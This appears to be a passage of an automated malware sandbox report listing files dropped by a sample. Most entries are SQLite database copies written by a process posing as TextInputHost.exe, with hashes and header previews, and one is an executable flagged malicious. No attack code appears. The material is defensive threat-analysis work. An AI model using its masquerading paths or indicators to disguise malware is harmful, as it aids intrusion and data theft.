Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1XqNcN1yB1

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1c05dUkBid

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1cCrz5xDYW

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\3LfUwmNztM

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\3STwtX3J6T

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\3eqcyKgdYp

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\42SQEgSoWA

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4MXmDO4iTj

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4kKtA6i90G

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4qNqfb2tvI

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4uJSyTJWY3

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\5AJmHhOByK

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\5GG.exe

Download File

Process:	C:\Users\user\Desktop\1tQ7HC6GOS.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	67013737
Entropy (8bit):	7.997710440989504
Encrypted:	true
SSDEEP:	1572864:IIIyVQR8VuiNCUbx4ku9WAMjyB1W37PMMox:DuiXLu9f
MD5:	D8C47724D1AC161564731578199131FB
SHA1:	7950366ED09A8B4CA0F7C176F6D5D9F0C73CD2BD
SHA-256:	D085B46328C25A973BC157C29D43155A922CF7B2586B5DEBBFB2C44D3835203F
SHA-512:	4C0969FC6AFFBC248484964721088E40A0D56DDB80F8FBB8C84A2503BC8A949F0313CE7A330D21FC56456EEA2F5DAFFD8773B78F8BC0B0CE296F5E60DF4C71CA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 16%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......U.Q...?...?...?.Z.<...?.Z.:...?.Z.;...?......?...:.9.?...;...?...<...?.Z.>...?...>...?.+.;...?.+.=...?.Rich..?.........................PE..d....f.e.........."....%.......................@....................................m.....`.....................................................x....`..4&... ..."..............\...0..................................@............... ............................text............................... ..`.rdata...+.......,..................@..@.data...83..........................@....pdata..."... ...$..................@..@_RDATA..\....P......................@..@.rsrc...4&...`...(..................@..@.reloc..\............*..............@..B................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\5KPZSZWWwH

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\5ZF5OXA0Fa

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\5ZgCJG0D3I

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\65ZMjyxGXN

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\6KIIQBZTdZ

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\6PvGdoijmc

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\6ZNM0Nd7fI

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\6bmPsBpWaD

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\6vmvjnwDjp

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\72hW3F4Jmu

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\76hpt9Xq2L

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\76pcZ4trXS

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\79mbbMVmDz

Download File

Process:	C:\Windows\apppatch\AppPatch64\TextInputHost.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
